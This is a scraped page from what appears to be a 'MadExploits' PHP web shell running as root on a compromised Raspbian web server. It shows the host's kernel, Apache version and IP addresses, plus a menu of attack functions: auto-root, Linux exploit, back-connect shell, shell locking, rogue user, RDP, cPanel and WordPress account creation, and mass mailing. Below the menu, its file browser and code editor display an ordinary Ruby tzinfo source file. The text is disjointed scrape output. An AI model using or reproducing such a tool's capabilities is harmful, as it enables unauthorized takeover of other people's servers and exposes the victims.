Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.15
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
tzinfo /
[ HOME SHELL ]
Name
Size
Permission
Action
country.rb
6.1
KB
-rw-r--r--
country_index_definition.rb
962
B
-rw-r--r--
country_info.rb
1.14
KB
-rw-r--r--
country_timezone.rb
5
KB
-rw-r--r--
data_source.rb
6.94
KB
-rw-r--r--
data_timezone.rb
2.14
KB
-rw-r--r--
data_timezone_info.rb
2.01
KB
-rw-r--r--
info_timezone.rb
571
B
-rw-r--r--
linked_timezone.rb
2.36
KB
-rw-r--r--
linked_timezone_info.rb
835
B
-rw-r--r--
offset_rationals.rb
3.64
KB
-rw-r--r--
ruby_core_support.rb
4.57
KB
-rw-r--r--
ruby_country_info.rb
2.44
KB
-rw-r--r--
ruby_data_source.rb
4.15
KB
-rw-r--r--
time_or_datetime.rb
10.46
KB
-rw-r--r--
timezone.rb
24.99
KB
-rw-r--r--
timezone_definition.rb
981
B
-rw-r--r--
timezone_index_definition.rb
1.6
KB
-rw-r--r--
timezone_info.rb
747
B
-rw-r--r--
timezone_offset.rb
3.72
KB
-rw-r--r--
timezone_period.rb
8.76
KB
-rw-r--r--
timezone_proxy.rb
3.7
KB
-rw-r--r--
timezone_transition.rb
4.28
KB
-rw-r--r--
timezone_transition_definition...
3.76
KB
-rw-r--r--
transition_data_timezone_info....
9.67
KB
-rw-r--r--
zoneinfo_country_info.rb
1.19
KB
-rw-r--r--
zoneinfo_data_source.rb
19.12
KB
-rw-r--r--
zoneinfo_timezone_info.rb
11.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : timezone_proxy.rb
module TZInfo # A proxy class representing a timezone with a given identifier. TimezoneProxy # inherits from Timezone and can be treated like any Timezone loaded with # Timezone.get. # # The first time an attempt is made to access the data for the timezone, the # real Timezone is loaded. If the proxy's identifier was not valid, then an # exception will be raised at this point. class TimezoneProxy < Timezone # Construct a new TimezoneProxy for the given identifier. The identifier # is not checked when constructing the proxy. It will be validated on the # when the real Timezone is loaded. def self.new(identifier) # Need to override new to undo the behaviour introduced in Timezone#new. tzp = super() tzp.send(:setup, identifier) tzp end # The identifier of the timezone, e.g. "Europe/Paris". def identifier @real_timezone ? @real_timezone.identifier : @identifier end # Returns the TimezonePeriod for the given UTC time. utc can either be # a DateTime, Time or integer timestamp (Time.to_i). Any timezone # information in utc is ignored (it is treated as a UTC time). def period_for_utc(utc) real_timezone.period_for_utc(utc) end # Returns the set of TimezonePeriod instances that are valid for the given # local time as an array. If you just want a single period, use # period_for_local instead and specify how abiguities should be resolved. # Returns an empty array if no periods are found for the given time. def periods_for_local(local) real_timezone.periods_for_local(local) end # Returns an Array of TimezoneTransition instances representing the times # where the UTC offset of the timezone changes. # # Transitions are returned up to a given date and time up to a given date # and time (to). # # A from date and time may also be supplied using the from parameter. If # from is not nil, only transitions from that date and time onwards will be # returned. # # Comparisons with to are exclusive. Comparisons with from are inclusive. # If a transition falls precisely on to, it will be excluded. If a # transition falls on from, it will be included. # # Transitions returned are ordered by when they occur, from earliest to # latest. # # to and from can be specified using either a Time, DateTime, Time or # Timestamp. # # If from is specified and to is not greater than from, then an # ArgumentError exception is raised. # # ArgumentError is raised if to is nil or of either to or from are # Timestamps with unspecified offsets. def transitions_up_to(to, from = nil) real_timezone.transitions_up_to(to, from) end # Returns the canonical zone for this Timezone. def canonical_zone real_timezone.canonical_zone end # Dumps this TimezoneProxy for marshalling. def _dump(limit) identifier end # Loads a marshalled TimezoneProxy. def self._load(data) TimezoneProxy.new(data) end private def setup(identifier) @identifier = identifier @real_timezone = nil end def real_timezone # Thread-safety: It is possible that the value of @real_timezone may be # calculated multiple times in concurrently executing threads. It is not # worth the overhead of locking to ensure that @real_timezone is only # calculated once. unless @real_timezone result = Timezone.get(@identifier) return result if frozen? @real_timezone = result end @real_timezone end end end
Close